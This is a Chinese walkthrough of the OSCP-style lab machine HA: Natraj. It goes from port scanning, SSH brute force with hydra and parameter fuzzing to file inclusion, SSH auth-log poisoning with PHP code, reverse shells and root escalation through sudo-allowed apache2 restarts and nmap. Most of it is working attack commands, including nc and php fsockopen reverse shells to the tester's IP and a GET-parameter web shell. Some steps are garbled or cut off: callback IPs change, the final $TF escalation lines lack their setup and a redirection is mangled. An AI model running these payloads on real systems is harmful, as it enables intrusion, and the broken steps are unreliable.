OSCP系列靶场-Esay-Ha-natraj
目录
本文由掌控安全学院?-?杳若?投稿
OSCP系列靶场-Esay-Ha-natraj
总结
getwebshell → 目录扫描发现端点 → 发现文件读取 → 验证确认是文件包含 → 包含了ssh
登录日志 → 反弹shell
包含
提 权 思 路 → 发现sudo
级别的apache2
服务 →?apache2
服务启动时修改其用户权限 → 重启apache2
从目录权限提升到用户权限 →?sudo-nmap
权限提升
准备工作
-
启动VPN
获取攻击机IP →?192.168.45.172
-
启动靶机
获取目标机器IP →?192.168.179.80
信息收集-端口扫描
目标开放端口收集
-
Nmap开放端口扫描2次
-
┌──(root?Kali)-[/home/bachang/Ha-natraj]
-
└─# sudo nmap --min-rate 10000 -p- 192.168.179.80
-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 10:09 CST
-
Nmap scan report for 192.168.179.80
-
Host is up (0.31s latency).
-
Not shown: 65533 closed tcp ports (reset)
-
PORT STATE SERVICE
-
22/tcp open ssh
-
80/tcp open http
-
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds
通过两次收集到的端口:→22,80
目标端口对应服务探测
-
┌──(root?Kali)-[/home/bachang/Ha-natraj]
-
└─# sudo nmap -sT -sV -O -sC -p22,80 192.168.179.80
-
PORT STATE SERVICE VERSION
-
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
-
80/tcp open http Apache httpd 2.4.29
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测的版本为OpenSSH 7.6p1 Ubuntu
-
# 搜索对应脚本
-
msf6 → searchsploit OpenSSH 7.6p1
发现是类似与用户枚举(待定)
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
-
ssh root @192.168.179.80 -v
-
# 如果显示publickey、password就是都支持
支持密钥和密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
-
sudo ssh root @192.168.179.80 -p 22
-
# 密码尝试
-
password → root
22-SSH弱口令爆破(等待结果)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
-
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.80 ssh -s 22
80-HTTP端口的信息收集
访问?http://192.168.179.80:80
?不是CMS
我们直接从源码信息收集开始
查看发现偏向一个个人网站,如果没思路可以制作cewl
字典尝试爆破
信息收集-源码查看
-
# 包括文章中是否写明一些敏感信息
-
curl http://192.168.179.80:80
-
# 利用html2text转换纯文本方便查看
-
curl http://192.168.179.80:80 | html2text
没发现什么内容
信息收集-目录扫描
信息收集-目录扫描初步
如果扫描发现301适当考虑 -r 2 进行递归
-
dirsearch -u http://192.168.179.80:80 -x 302,403
因为扫出了目录,深层次的扫描待选
-
信息收集-目录扫描(后缀)
-
信息收集-目录扫描(深度/大字典)
-
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
/images/
端点
访问发现存在目录遍历,但是里面都是图片,推测有隐写术
/console
端点
与上面端点同理,发现了一个php
的文件
php文件参数探究
访问该文件发现是空白
添加~
后无法查看php
源码
暴力破解-参数名破解FUZZ
fuzz
一下参数,确定是什么参数,指定了一本目录字典
-
# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
-
ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
爆破了好久,发现存在参数file
漏洞利用-getwebshell
/console/file.php功能探索
首先我们发现能看到/etc/passwd
下的文件说明存在的是
存在文件读取
为绝对路径
漏洞利用-用户名/密码读取
Linux下passwd读取账户信息,为后续攻击做准备
-
# /etc/passwd获取账户信息
-
?file=/etc/passwd
-
# /etc/shadow读取加密密码
-
?file=/etc/shadow
读到了用户名mahakal
可以后期用来爆破
说明不是root
权限,读取不到shadow
漏洞利用-用户名敏感文件(私钥读取)
-
# 尝试去home目录下读取私钥
-
?file=/home/mahakal/.ssh/id_rsa
-
# 尝试读取home目录下的历史信息
-
?file=/home/mahakal/.bash_history
文件包含突破
为什么我会用来读取文件呢?万一是文件包含岂不是美滋滋。
下面是常见日志
-
/var/log/acpid
-
/var/run/utmp
-
/var/log/lastlog
-
/var/log/btmp
-
/var/log/dmesg
-
/var/log/cpus
-
/var/log/syslog
-
/var/log/auth.log
-
/var/log/daemon.log
所以我应该确认是文件读取还是包含,根据ssh
可以登录我们查看一下ssh
的日志处/var/log/auth.log
-
curl http://192.168.179.80/console/file.php?file=/var/log/auth.log
看到了一大堆我的爆破日志
尝试在登录3次,分别以代码类型的用户以及非代码类型的用户,通过.php
文件我们确定脚本语言
获取账号密码之后利用SSH
进行登录
-
ssh test @192.168.179.80 -p22
-
# 踩坑直接写入是不行的
-
ssh <?php phpinfo();?> @192.168.179.80 -p22
-
# 带上双引号
-
ssh '<?php phpinfo();?>' @192.168.179.80 -p22
证明是文件包含而不是文件读取
文件包含反弹shell
-
# 攻击机开启监听
-
sudo nc -lvnp 6666
-
# 在存在文件包含的前提下,访问日志创造nc反弹shell
-
<?php system('nc -e /bin/bash 192.168.45.172 6666'); ?>
-
# 利用ssh登录
-
ssh '<?php system("nc -e /bin/bash 192.168.45.177 6666"); ?>' @192.168.179.80 -p22
-
# 访问日志文件包含
-
curl http://192.168.179.80/console/file.php?file=/var/log/auth.log
发现好像被我玩崩了 ,重启靶场接着实验
重新选择文件包含内容
-
# 在存在文件包含的前提下,访问日志创造反弹shell
-
<?php system($_GET[YaoRuo]); ?>
-
# 利用ssh登录
-
ssh '<?php system($_GET[YaoRuo]); ?>' @192.168.179.80 -p22
-
# 验证
-
curl http://192.168.179.80/console/file.php?file=/var/log/auth.log&YaoRuo=whoami
这边用了whoami
实在是太多了,换成了cat
读取,发现命令执行成功
在构造反弹shell
的时候最保险的方法还是利用现在已知的php
反弹shell-php
-
# 构造php反弹shell
-
php -r '$sock=fsockopen("192.168.45.177",6666);exec("/bin/sh -i &3 2→&3");'
-
# url编码
-
php%20-r%20'%24sock%3Dfsockopen(%22192.168.45.177%22%2C4455)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
-
# 访问
-
http://192.168.179.80/console/file.php?file=/var/log/auth.log&YaoRuo=php%20-r%20'%24sock%3Dfsockopen(%22192.168.45.179%22%2C4455)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
反弹成功
内网遨游-getshell
交互shell
交互shell-python
由于获取的shell交互不友好,利用python获得新的交互shell
-
python -c "import pty;pty.spawn('/bin/bash')";
-
# 利用python获取交互shell -→ python失败使用python3
-
python3 -c "import pty;pty.spawn('/bin/bash')";
FLAG1获取
-
www-data @ubuntu:/var/www/html/console$ find / -name local.txt 2→/dev/null
-
/var/www/local.txt
-
www-data @ubuntu:/var/www/html/console$ cat /var/www/local.txt
-
90c36356bd71bb3500456a09d600e7fc
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
-
# 确定发行版本
-
www-data @ubuntu:/var/www/html/console$ lsb_release -a
-
No LSB modules are available.
-
Distributor ID: Ubuntu
-
Description: Ubuntu 18.04 LTS
-
Release: 18.04
-
Codename: bionic
发行版本为Ubuntu 18.04
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
-
www-data @ubuntu:/var/www/html/console$ uname -a
-
Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.15.0
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问?https://gtfobins.github.io
?寻找
-
# 利用sudo -l寻找
-
www-data @ubuntu:/var/www/html/console$ sudo -l
-
sudo -l
-
Matching Defaults entries for www-data on ubuntu:
-
env_reset, mail_badpass,
-
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
-
User www-data may run the following commands on ubuntu:
-
(ALL) NOPASSWD: /bin/systemctl start apache2
-
(ALL) NOPASSWD: /bin/systemctl stop apache2
-
(ALL) NOPASSWD: /bin/systemctl restart apache2
发现可以sudo
启动、停止、重启apache2
服务
apache2文件枚举
这时候尝试查看apache2
的内容是否可操作
-
find / -name apache2 2→/dev/null
-
/etc/php/7.2/apache2
-
/etc/cron.daily/apache2
-
/etc/apache2
-
/etc/logrotate.d/apache2
-
/etc/ufw/applications.d/apache2
-
/etc/init.d/apache2
利用搜索命令,重点关注的应该是etc
下的内容
在痛苦的枚举过程中发现了一个可以写入的文件apache2.conf
-
# 进入查看内容
-
cat /etc/apache2/apache2.conf
翻阅发现这是apache2
的主配置文件
在文件系统上,Apache
进程通常以指定的用户身份运行,以限制对文件和目录的访问权限。在这里面是变量,我是否可以修改成其他用户?比如root
权限提升
修改配置文件指定用户身份提权1(失败)
在里面尝试查看编辑器发现了nano
但是无法使用
在里面发现操作不是很友好,先把这个文件cp
到攻击机上
修改里面的用户和组为root
上传
-
sed -i 's/User ${APACHE_RUN_USER}/User root/g' apache2.conf
-
sed -i 's/Group ${APACHE_RUN_GROUP}/Group mahakal/g' apache2.conf
-
# 利用python开启http服务,方便目标机器上下载文件
-
sudo python3 -m http.server 80
-
# 目标机器到tmp目录下下载(有下载权限)
-
cd /tmp
-
# 下载
-
wget http://192.168.45.179:80/apache2.conf
-
# 给权限
-
chmod +x apache2.conf
-
# 覆盖
-
cp apache2.conf /etc/apache2/apache2.conf
-
# 上传完后想重启服务发现权限不够
-
systemctl restart apache2
-
# 想起sudo
-
sudo /bin/systemctl restart apache2
ping
的到却访问不到,遇到了新的问题
重启了apache2
之后访问不到网站了
-
# 靶场存在一些问题,在重启之后再开启一次
-
sudo /bin/systemctl stop apache2
-
sudo /bin/systemctl start apache2
修改配置文件指定用户身份提权2(失败)
网站崩溃了,访问不到特定的内容,尝试上传反弹shell
兜兜转转很久,思考可能直接覆盖了root
不行,决定添加2行不破坏apache2
的完整性
重启apache2
之后还是访问不到
修改配置文件指定用户身份提权3(失败)
在经历了上述访问不到的事件之后清楚apache2重新启动是要时间的
另外修改出去再复制进去的方法不保险,了解了之后清楚在/etc/apache2
下修改不太行,可以先copy
出来,利用sed
-
www-data @ubuntu:/var/www/html/console$ cp /etc/apache2/apache2.conf .
-
cp /etc/apache2/apache2.conf .
-
www-data @ubuntu:/var/www/html/console$ sed -i 's/User ${APACHE_RUN_USER}/User root/g' apache2.conf
-
$TF
-
sudo nmap --script=$TF
照着命令成功提权
FLAG2获取
-
# cat /root/proof.txt
-
63b489d7c2affe8892089d178b1900f7
完结撒花~
思考
这个靶场的外网命令敲崩了好几次,直接php
反弹不太行,还要通过一句话+反弹
这个靶场的内网提权绕了很久,apache2
服务一直启动不成功
应该在等待一会,并且尽量不下载出来在原生的基础上改,发现改不了的话可以尝试cp
到有权限的目录下利用sed
在配置apache2
权限的时候应该注意不能直接提升到root
,只能提升到其他用户
申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!